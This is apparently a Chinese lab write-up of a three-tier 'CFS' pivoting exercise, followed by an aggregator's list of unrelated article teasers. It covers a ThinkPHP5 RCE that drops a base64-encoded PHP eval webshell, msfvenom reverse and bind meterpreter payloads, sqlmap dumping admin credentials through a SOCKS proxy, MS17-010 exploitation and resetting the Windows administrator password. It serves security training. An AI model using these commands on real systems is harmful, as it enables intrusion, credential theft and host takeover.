[内网渗透]CFS三层靶机渗透

文章目录

    • [内网渗透]CFS三层靶机渗透
      • 网络拓扑图
      • 靶机搭建
      • Target1
        • 0x01.nmap主机探活
        • 0x02.端口扫描
        • 0x03.ThinkPHP5 RCE漏洞拿shell
        • 0x04.上传msf后门(reverse_tcp)反向连接拿主机权限
      • 内网渗透
        • Target2
          • (1)路由信息探测
          • (2)msf代理配置
          • (3)利用bagecms-sql注入漏洞,admin登录后台拿shell
          • (4)上传msf后门(bind_tcp)正向连接拿ubuntu主机权限
        • Target3
          • 0x01.添加路由
          • 0x02.利用ms17-010永恒之蓝漏洞拿shell
      • 参考:

[内网渗透]CFS三层靶机渗透

网络拓扑图

image-20230811111948557

三个Target主机的拓扑图如图,攻击机的网段在192.168.1.1/24

  • Target1 Centos7
  • Target2 Ubuntu
  • Target3 Win7

该靶机的渗透流程如下:

通过攻击机kaili192.168.1.129攻击target1的192.168.1.132,target2、3不能连通外网,只能在内网通信。所以需要先渗透target1,然后通过它的vmnet2网卡去攻击target2。拿下target2之后,通过target2做跳板,攻击target3.

靶机搭建

  • kali:192.168.1.129(vmnet1)
  • Target1:192.168.1.132(vmnet1)、192.168.22.130(vmnet2)
  • Target2:192.168.22.128(vmnet2) 、192.168.33.128(vmnet3)
  • Target3:192.168.33.33(vmnet3)

其他不在此赘述,参考:https://blog.csdn.net/qq_61237064/article/details/125602997

Target1

0x01.nmap主机探活

在kaili中使用nmap查看vmnet1网段有哪些主机:

nmap -T4 -sP 192.168.1.1/24

image-20230811114018123

查到一台:192.168.1.132

0x02.端口扫描

nmap -T4 -A -p 1-65535 192.168.1.132

image-20230811114423891

80端口开放

0x03.ThinkPHP5 RCE漏洞拿shell

浏览器访问一下是ThinkPHP5.0版本,有漏洞

image-20230811114551362

我们直接拿工具,检测一下漏洞:

image-20230811114645988

存在漏洞,直接命令执行,写shell进去(此处$_POST被过滤,于是使用base64编码绕过):

echo "PD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/Pg==" | base64 -d > x.php

image-20230811114906753

蚁剑连接:

image-20230811115002543

在txt文件发现两个flag

我们执行ifconfig,发现了另一个网段22 192.168.22.130

image-20230811115208212

那么肯定存在内网了

0x04.上传msf后门(reverse_tcp)反向连接拿主机权限

存在内网我们就要使用msf工具了,

首先使用msfevnom生成一个elf的马,这里采取反向连接(Target1来连接kali)

使用uname -a查看一下Target1的系统:

(www:/www/wwwroot/ThinkPHP/public) $ uname -a
Linux localhost.localdomain 3.10.0-1062.1.1.el7.x86_64 #1 SMP Fri Sep 13 22:55:44 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux

linux64

然后我们生成一个elf后门马,查看自己的IP地址,并根据自己的IP地址目标靶机的系统类型生成对应的后门文件

# 根据target1操作系统类型生成elf后门,lhost为kali ip
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.129 LPORT=4444 -f elf > shell.elf    

然后在kali中运行监听模块,监听本机4444端口:

# 在kali中运行监听模块
msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.1.129
set lport 4444
exploit

然后我们将elf马上传到target1,设置权限,并执行:

chmod +x shell.elf
./shell.elf

这个时候Target1靶机已经上线msf了:

image-20230811125806597

下面开始内网渗透:

内网渗透

Target2

现在我们不能直接通过nmap去扫描Target2靶机的ip,因为我们网段的设置,kali与Target1是处在同一个网段的主机,我们可以直接扫描到。但是现在扫描的Target2处于内网网段,直接扫扫不到。但是我们知道Target1的vmnet2网卡与Target2处于一个网段,所以我们可以通过Target1的vmnet2网卡来打Target2,因此可以挂上Target1的代理

(1)路由信息探测

我们可以使用msf自带的模块进行信息探测:

  • 探测网络接口的模块(get_local_subnets)
  • 查看路由的模块(autoroute -p)
# 探测子网信息,可以看到存在22网段
meterpreter > run get_local_subnets
[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
Local subnet: 192.168.1.0/255.255.255.0
Local subnet: 192.168.22.0/255.255.255.0

# 查看路由信息,发现还没有路由
meterpreter > run autoroute -p
[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
[*] No routes have been added yet

**路由:**路由是指路由器从一个接口上收到数据包,根据数据包的目的地址进行定向并转发到另一个接口的过程,就相当于把我们要传输的数据先传输到该路由,再发往目标。

我们可以设置一个路由,然后把我们的请求通过Target1的vmnet1网段发出,然后重定向转发到vmnet2网段,这样kali的msf就可以与22网段(Target2)互通了

于是我们可以设置一个路由:

静态路由配置

MSF 的 autoroute 模块是 MSF 框架中自带的一个路由转发功能,实现过程是 MSF 框架在已经获取的 Meterpreter Shell 的基础上添加一条去往“内网”的路由,直接使用 MSF 去访问原本不能直接访问的内网资源,只要路由可达我们既可使用 MSF 来进行探测了

# 设置路由
run autoroute -s 192.168.22.0/24
# 查看
run autoroute -p
(2)msf代理配置

路由有一个缺陷,它只能在msf建立的这个会话上使用,如果我们新开一个终端使用nmap扫描,还是扫描不到的,所以我们需要设置msf的代理

msf有自己的代理模块 auxiliary/server/socks_proxy

假设现在msf的会话是session1,是建立在Target1的shell上的,建立路由之后可以与22网段通信。那么我们想要通过session1使用工具去攻击22网段,这时该怎么办?

这种情况就需要设置一个代理了,通过这个代理给别人一个端口去连接,然后我们可以使用本机去连接kali的端口,这样就能访问Target2的22网段了

# 先切换到控制台
background
# 配置socks5代理
msf6 > use auxiliary/server/socks_proxy
msf6 auxiliary(server/socks_proxy) > set srvhost 0.0.0.0
msf6 auxiliary(server/socks_proxy) > set srvport 1080
msf6 auxiliary(server/socks_proxy) > run

在kali中通过vim /etc/proxychains.conf修改proxychains配置文件:

image-20230811134750046

写入kali的ip和刚刚配置的端口

然后使用nmap探测端口(注意:使用nmap时前面要加上proxychains这样才能使用msf的代理)

proxychains nmap -T4 -p 80 192.168.22.128

image-20230811141654805

80端口开放

我们给浏览器设置一个socks5代理:

image-20230811141826019

访问一下:

image-20230811141851398

是一个bagecms搭建的网站

(3)利用bagecms-sql注入漏洞,admin登录后台拿shell

这里可以使用一个好用的工具SocksCap,这个工具可以给其他工具添加上代理

image-20230811142444730

扫描到robots.txt,告诉了我们admin的路径

#
# robots.txt for BageCMS
#
User-agent: * 
Disallow: /admini/
Disallow: /index.php?r=admini*

信息收集,源码给了hint:SQL注入点:/index.php?r=vul&keyword=1

image-20230811143956269

我们可以直接使用sqlmap跑,但是需要挂上代理,可以使用参数--proxy或kali中前面加上proxychains。我们可以直接指定注入点:-p keyword

# 爆一下数据库名称
proxychains sqlmap -u "http://192.168.22.128/index.php?r=vul&keyword=1" -p keyword --dbs
或
sqlmap -u "http://192.168.22.128/index.php?r=vul&keyword=1" --proxy=socks5://192.168.1.129:1080 -p keyword --dbs --batch
# 爆破 bagecms 库下的表
proxychains sqlmap -u "http://192.168.22.128/index.php?r=vul&keyword=1" -p keyword -D "bagecms" --tables T "bage_admin" --batch
# 爆破 bage_admin 表的字段
proxychains sqlmap -u "http://192.168.22.128/index.php?r=vul&keyword=1" -p keyword -D "bagecms" -T "bage_admin" --columns --batch
# 把 admin的账号密码给 dump出来
proxychains sqlmap -u "http://192.168.22.22/index.php?r=vul&keyword=1" -p keyword -D bagecms -T bage_admin -C username,password --dump
# 测试了--is-dba,不是高权限,那就不尝试--os-shell了

拿到admin的账号和密码 admin:123qwe

登陆后台,拿到flag:

image-20230811145312912

tag/index.php写入马

image-20230811145740912

然后我们使用SocksCap工具挂上代理,打开蚁剑连接:

注意URL:http://192.168.22.128/?r=tag

image-20230811150210541

(4)上传msf后门(bind_tcp)正向连接拿ubuntu主机权限

我们拿到shell之后和前面一样,使用msf生成后门。但是这里有点不同,由于Target2不能出网

所以我们这次只能正向连接,即通过kali去连接Target2

我们在蚁剑查看一下target2的操作系统:

uname -a

image-20230811151354653

可以看到是一个64位的操作系统

因此在kaili生成一个elf正向连接的后门:

# 生成一个正向连接后门(因为内网主机无法直接与本机通信,因此无法建立反向连接,需要本机通过代理连接到目标机)
msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=3333 -f elf > tgt2.elf

上传到target2,并修改权限执行:

chmod +x tgt2.elf
./tgt2.elf

image-20230811151543773

在MSF中开启监听,与Target2建立连接,这里需要注意,上一次代理使用的reverse_tcp是MSF作为监听,让Target1连到我们,而这次代理使用的bind_tcp是Target2作为监听,我们需要连到Target2,这个逻辑正好是相反的

同样,如果我们要用msf 另起一个终端开启监听,这里要注意,msf新开的终端之前的那个终端的配置都用不了。

如果我们这次代理使用的bind_tcp是Target2作为监听,我们要正向连接到内网里的target2

因此,我们不能直接使用msfconsole打开,而是需要使用proxychains打开msf,需要走代理,否则msf访问不到Target2,然后再去连接bind_tcp

这里有个图

img

(其实使用之前那个终端就行,已经配置了代理,我们就可以直接连bind_tcp了)

我们此处演示一下使用proxychains

proxychains msfconsole
# 本机MSF执行命令
use exploit/multi/handler
set payload linux/x64/meterpreter/bind_tcp
set RHOST 192.168.22.128
set LPORT 3333
run

target2成功上线msf

image-20230811153115294

然后继续进行信息收集,我们可以使用:

# 获取网络接口:
run get_local_subnets
# 添加路由地址:
run autoroute -s 192.168.33.0/24
# 查看路由地址:
run autoroute -p

此处我们还可以使用一种方法:

shell
# 转化为交互式
python -c 'import pty;pty.spawn("/bin/bash");'
# 查看网络信息
ifconfig

image-20230811153551159

看到了一个33网段的ip,还存在内网

Target3

0x01.添加路由

由于我们在Target2(ubuntu)中探测到ubuntu主机 既处在22网段,又处在33网段,所以我们可以重复之前的步骤,增加一个路由,将kali通过代理发往Target2的流量通过路由从22网段重定向到33网段

# 添加指向33网段的路由
run autoroute -s 192.168.33.0/24
# 查看
run autoroute -p

image-20230811154615369

成功添加了路由

nmap扫描一下target3靶机开放的服务

(新开一个终端后,我们需要在这个新开的msf终端上配置一个代理,然后修改/etc/proxychains.conf

image-20230812183101630

root@kali:~# proxychains4 nmap -Pn -sT 192.168.33.33
-Pn:扫描主机检测其是否受到数据包过滤软件或防火墙的保护。
-sT:扫描TCP数据包已建立的连接connect

扫描到开启了445和3389端口

image-20230811173052922

0x02.利用ms17-010永恒之蓝漏洞拿shell

从扫描结果很容易知道这是win7系统,开启445和3389端口

445端口存在ms17-010永恒之蓝漏洞

于是我们可以试着使用msf中的ms17-010打一下:

search ms17-010
use exploit/windows/smb/ms17_010_psexec
set payload windows/x64/meterpreter/bind_tcp
set RHOSTS 192.168.33.33
set LPORT 6666
run

成功利用,输出shell进入命令行

image-20230812185355539

我们输出:netstat -ant查看一下有哪些端口:

image-20230812185455305

看到了3389端口,于是可以进行远程桌面连接,

我们先使用net user查看一下有哪些用户,发现有administrator

我们输入:net user administrator 123456修改密码

然后使用SocksCap打开连接远程桌面程序mstsc.exe

(注意要设置代理为新的那个),输入ip:192.168.33.33连接

image-20230812185220492

成功拿下

还有另一种连接方式:使用端口转发

portfwd add -l 7777 -p 3389 -r 192.168.33.33

将192.168.33.33:3389转发到kali的7777端口上,然后直接连接就行:

image-20230812190034722

参考:

https://www.cnblogs.com/1vxyz/p/17080748.html

https://blog.csdn.net/qq_61237064/article/details/125602997

https://teamssix.com/191021-211425.html#toc-heading-9

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/70770.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

STM32F429IGT6使用CubeMX配置IIC通信(AT2402芯片)

1、硬件电路 写地址:0xA0 读地址:0xA1 存储容量:256Byte 2、设置RCC,选择高速外部时钟HSE,时钟设置为180MHz 3、配置IIC 4、生成工程配置 5、部分代码 #define IIC_WRITE_ADDR 0xA0 // IIC写地址 #define IIC_READ_ADDR 0xA1 …

【CSS】网格布局(简单布局、网格合并、网格嵌套)

文章目录 CSS网格布局(Grid Layout)1. 简单布局2. 网格合并3. 网格嵌套4. 总结 CSS网格布局(Grid Layout) CSS网格布局(Grid Layout)是一种强大且灵活的CSS布局系统,允许开发者以网格形式组织和…

Python实现图片文本支持中文,自定义字体

Python实现图片文本支持中文,自定义字体 # 支持中文 import matplotlib #用下载好的字体文件设置字体,从而正确显示中文 myfont matplotlib.font_manager.FontProperties(fnamer"./simsun.ttc") # 自定义的字体文件 plt.figure(figsize (1…

Ubuntu 连接海康智能相机步骤(亲测,成功读码)

ubuntu20.04下连接海康智能相机 Ubuntu 连接海康智能相机步骤(亲测,已成功读码)输出的结果 Ubuntu 连接海康智能相机步骤(亲测,已成功读码) (就是按照海康的提供的步骤和源码连接相机,流水账) 安装Ubuntu20.04安装gcc和g,IDmvs只…

HDFS中的sequence file

sequence file序列化文件 介绍优缺点格式未压缩格式基于record压缩格式基于block压缩格式 介绍 sequence file是hadoop提供的一种二进制文件存储格式一条数据称之为record&#xff08;记录&#xff09;&#xff0c;底层直接以<key, value>键值对形式序列化到文件中 优…

pycharm的Terminal中如何设置打开anaconda3的虚拟环境

在pycharm的File -> Settings -> Tools -> Terminal下面&#xff0c;如下图所示 修改为红框中内容&#xff0c;然后关闭终端在重新打开终端&#xff0c;即可看到anaconda3的虚拟环境就已经会被更新

第一百二十七天学习记录:我的创作纪念日

机缘 今天收到CSDN官方的来信&#xff0c;想想也可以对我前面的学习记录进行一个总结。 关于来到CSDN的初心&#xff0c;也就是为了让自己养成一个良好的学习总结的习惯。这里要感谢我C语言视频教程的老师&#xff0c;是他建议学生们在技术博客中进行记录。对于技术博客&…

Nginx+Tomcat负载均衡、动静分离实例详细部署

一、反向代理两种模式 四层反向代理 基于四层的iptcp/upd端口的代理 他是http块同一级&#xff0c;一般配置在http块上面。 他是需要用到stream模块的&#xff0c;一般四层里面没有自带&#xff0c;需要编译安装一下。并在stream模块里面添加upstream 服务器名称&#xff0c;…

题目大解析(3)

前言 这里的题目大多是用c写的。 题目 字符串中的第一个唯一字符翻转字符串验证回文串把字符串转换成整数 字符串中的第一个唯一字符 原题链接&#xff1a;字符串中的第一个唯一字符 计数法&#xff1a; class Solution { public:int firstUniqChar(string s) {int arr[130] …

python爬虫实战(1)——网站小说

整本小说的爬取保存 目标大致思路页面的爬取解析—XPath请求网页内容解析网页内容正文爬取与解析单个页面数据获取爬取所有页面 数据清洗 经过学习基础&#xff0c;我们学以致用一下子&#xff0c;爬取小说&#xff0c;注意这个小说本身是免费的哦&#xff0c;以后再进阶。 本次…

ELK的搭建和使用

ELK的搭建和使用 1、什么是ELK 日志收集平台有多种组合方式&#xff1a; ELK Stack 方式&#xff1a;Elasticsearch Logstash Filebeat Kibana&#xff0c;业界最常见的架构。 Elasticsearch Logstash Kafka Kibana&#xff0c;用上了消息中间件&#xff0c;但里面也有…

Delphi7通过VB6之COM对象调用FreeBASIC写的DLL功能

VB6写ActiveX COM组件比较方便&#xff0c;不仅PowerBASIC与VB6兼容性好&#xff0c;Delphi7与VB6兼容性也不错&#xff0c;但二者与FreeBASIC兼容性在字符串处理上差距比较大&#xff0c;FreeBASIC是C化的语言&#xff0c;可直接使用C指令。下面还是以实现MKI/CVI, MKL/CVL, M…

iOS开发-实现二维码扫一扫Scan及识别图片中二维码功能

iOS开发-实现二维码扫一扫Scan及识别图片中二维码功能 在iOS开发中&#xff0c;会遇到扫一扫功能&#xff0c;扫一扫是使用摄像头扫码二维码或者条形码&#xff0c;获取对应二维码或条形码内容字符串。通过获得的字符串进行跳转或者打开某个页面开启下一步的业务逻辑。 https…

布局性能优化:安卓开发者不可错过的性能优化技巧

作者&#xff1a;麦客奥德彪 当我们开发Android应用时&#xff0c;布局性能优化是一个必不可少的过程。一个高效的布局能够提高用户体验&#xff0c;使应用更加流畅、响应更加迅速&#xff0c;而低效的布局则会导致应用的运行变得缓慢&#xff0c;甚至出现卡顿、崩溃等问题&…

npm ERR! code ERESOLVEnpm ERR! ERESOLVE unable to resolve dependency tree

拉取项目到本地 执行 npm install 报错 遇到这个问题首先确认的就是版本是不是太高了&#xff0c;降一下版本。或者通过yarn命令替代npm install命令安装&#xff0c;同理&#xff0c;启动也可以采用yarn dev 启动代替npm run dev 下面教大家用一个NVM工具&#xff0c;这个工…

SSL握手协议相关概念

下图为握手协议的流程图&#xff0c;具体的解释参考博客&#xff1a; 【下】安全HTTPS-全面详解对称加密&#xff0c;非对称加密&#xff0c;数字签名&#xff0c;数字证书和HTTPS_tenfyguo的博客-CSDN博客 下面梳理一下SSL协议中的一些细节。首先是相关名词&#xff1a;证书、…

深度学习基础知识笔记

深度学习要解决的问题 1 深度学习要解决的问题2 应用领域3 计算机视觉任务4 视觉任务中遇到的问题5 得分函数6 损失函数7 前向传播整体流程8 返向传播计算方法1 梯度下降 9 神经网络整体架构11 神经元个数对结果的影响12 正则化和激活函数1 正则化2 激活函数 13 神经网络过拟合…

前端开发常见效果

目录 css实现图像填充文字 css实现手风琴效果 css实现网站变灰色 elementUi的导航栏效果 css实现滚动吸附效果 鼠标经过&#xff0c;元素内部放大 css实现图像填充文字 效果图&#xff1a; 代码&#xff1a; <!DOCTYPE html> <html><head><meta c…

5.2 互联网通信安全

数据参考&#xff1a;CISP官方 目录 一、什么是互联网通信安全二、为什么要关注互联网通信安全三、电子邮件应用安全四、即时通讯应用安全 一、什么是互联网通信安全 1、互联网通信应用的概念 通信的进化史 互联网通信技术&#xff08;OSI七层模型&#xff09; 互联网应…